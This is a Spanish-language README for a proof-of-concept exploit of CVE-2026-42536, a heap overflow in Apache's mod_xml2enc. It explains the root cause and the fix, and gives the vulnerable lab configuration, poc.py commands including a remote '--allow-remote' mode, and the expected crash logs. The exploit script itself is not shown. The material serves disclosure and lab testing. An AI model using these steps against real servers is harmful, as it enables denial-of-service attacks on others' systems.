
Vulnerabilidad de desbordamiento de búfer basado en heap en Apache HTTP Server con mod_xml2enc, xml2StartParse y contenido no confiable
mod_xml2enc de Apache HTTP Server PoCEste repositorio contiene una prueba de concepto controlada para CVE-2026-42536, una escritura fuera de límites basada en montículo en el módulo mod_xml2enc de Apache HTTP Server. Las versiones de Apache HTTP Server 2.4.0 hasta la 2.4.67 están afectadas; la versión 2.4.68 contiene la corrección upstream.
El resultado demostrado es corrupción de memoria seguida de un fallo del worker de Apache. Los disparos repetidos pueden causar denegación de servicio. Esta PoC no demuestra ejecución remota de código, escalada de privilegios ni una reverse shell.
Esta PoC envía intencionadamente contenido que puede provocar el fallo de un worker de Apache. Ejecútala solo en un entorno desechable y aislado que sea de tu propiedad o que estés explícitamente autorizado a probar. No la apuntes a sistemas de producción o de terceros.
El script permite únicamente operación en loopback por defecto. La operación remota requiere el flag explícito --allow-remote, pero ese flag no sustituye a la autorización.
xml2StartParse puede indicar a mod_xml2enc que omita bytes antes del elemento de inicio configurado. En Apache HTTP Server 2.4.67, fix_skipto() avanza el puntero del búfer de salida y reduce la cantidad de datos válidos, pero no reduce la capacidad de salida en el mismo desplazamiento:
ctx->bytes -= (p - ctx->buf);
ctx->buf = p;
Por lo tanto, la conversión de conjunto de caracteres posterior recibe una capacidad medida desde la asignación original aunque ctx->buf ahora apunte dentro de esa asignación. La PoC hace observable este desajuste combinando:
xml2StartParse html.Content-Type que declara charset=windows-1252.0x80, que se expande de un byte CP1252 a la codificación UTF-8 de tres bytes del signo del euro.La conversión expansiva consume la capacidad obsoleta y puede escribir más allá del espacio real restante después del puntero avanzado.
Apache 2.4.68 corrige el error de contabilidad restando el desplazamiento omitido de ctx->bblen:
ctx->bytes -= (p - ctx->buf);
+ctx->bblen -= (p - ctx->buf);
ctx->buf = p;
La PoC utiliza dos componentes HTTP:
poc.py client -> vulnerable Apache front end -> payload backend in poc.py
Apache debe cargar los siguientes módulos:
filter
proxy
proxy_http
xml2enc
Utiliza la siguiente configuración solo en un laboratorio aislado con Apache 2.4.67 o anterior:
Listen 127.0.0.1:18080
<VirtualHost 127.0.0.1:18080>
ProxyRequests Off
ProxyPass /cve-2026-42536/ http://127.0.0.1:18081/
ProxyPassReverse /cve-2026-42536/ http://127.0.0.1:18081/
<Location /cve-2026-42536/>
SetOutputFilter xml2enc
xml2StartParse html
</Location>
</VirtualHost>
La configuración por defecto espera que poc.py se ejecute en el mismo host o espacio de nombres de red del contenedor que Apache. El puerto 18081 es el backend de payload; las solicitudes deben enviarse a la ruta filtrada de Apache en el puerto 18080.
Inicia la instancia vulnerable de Apache, luego ejecuta la PoC desde el mismo host o contenedor desechable:
python3 poc.py
Los valores por defecto son equivalentes a:
python3 poc.py \
--host 127.0.0.1 \
--port 18080 \
--path /cve-2026-42536/ \
--backend-bind 127.0.0.1 \
--backend-port 18081 \
--skip 2048 \
--expand 12288 \
--attempts 3
Para un laboratorio autorizado de dos máquinas, haz que el backend de payload sea accesible desde Apache y actualiza ProxyPass/ProxyPassReverse para usar la IP del laboratorio del atacante. Luego enlaza el backend y apunta explícitamente a la dirección de Apache del laboratorio:
python3 poc.py \
--host VICTIM_LAB_IP \
--port 18080 \
--backend-bind 0.0.0.0 \
--backend-port 18081 \
--allow-remote
No expongas el puerto del backend más allá de la red de prueba aislada.
Monitorea Apache mientras se ejecuta la PoC. Dependiendo de la compilación y del gestor de procesos, una solicitud del cliente puede fallar, reiniciarse o devolver datos parciales mientras el proceso padre reemplaza el worker que falló.
La evidencia típica de la compilación vulnerable probada incluyó:
AH01434 character-set conversion selected
AH01428 skipped to the first configured element
AH01441 conversion performed
AH00052 child process exited on signal 11 (SIGSEGV)
En una instalación gestionada por systemd:
sudo journalctl -u apache2 -f
Para un contenedor Docker en primer plano:
docker logs -f CONTAINER_NAME
La rotación del PID del worker puede proporcionar una señal adicional:
watch -n 0.5 'pgrep -a httpd || pgrep -a apache2'
Un fallo de transporte por sí solo no es prueba de la vulnerabilidad. Confirma el fallo en el registro de errores de Apache, el journal del sistema, la salida del sanitizer o un core dump.
Repite la misma solicitud contra Apache HTTP Server 2.4.68 con los mismos módulos y configuración de virtual-host. El backend de payload debería seguir recibiendo la solicitud, pero el worker de Apache debería permanecer vivo porque la capacidad de salida se reduce junto con el puntero avanzado.
Si el proceso padre no reemplaza automáticamente el worker, reinicia solo el servicio del laboratorio desechable:
sudo systemctl restart apache2
o reinicia el contenedor desechable:
docker restart CONTAINER_NAME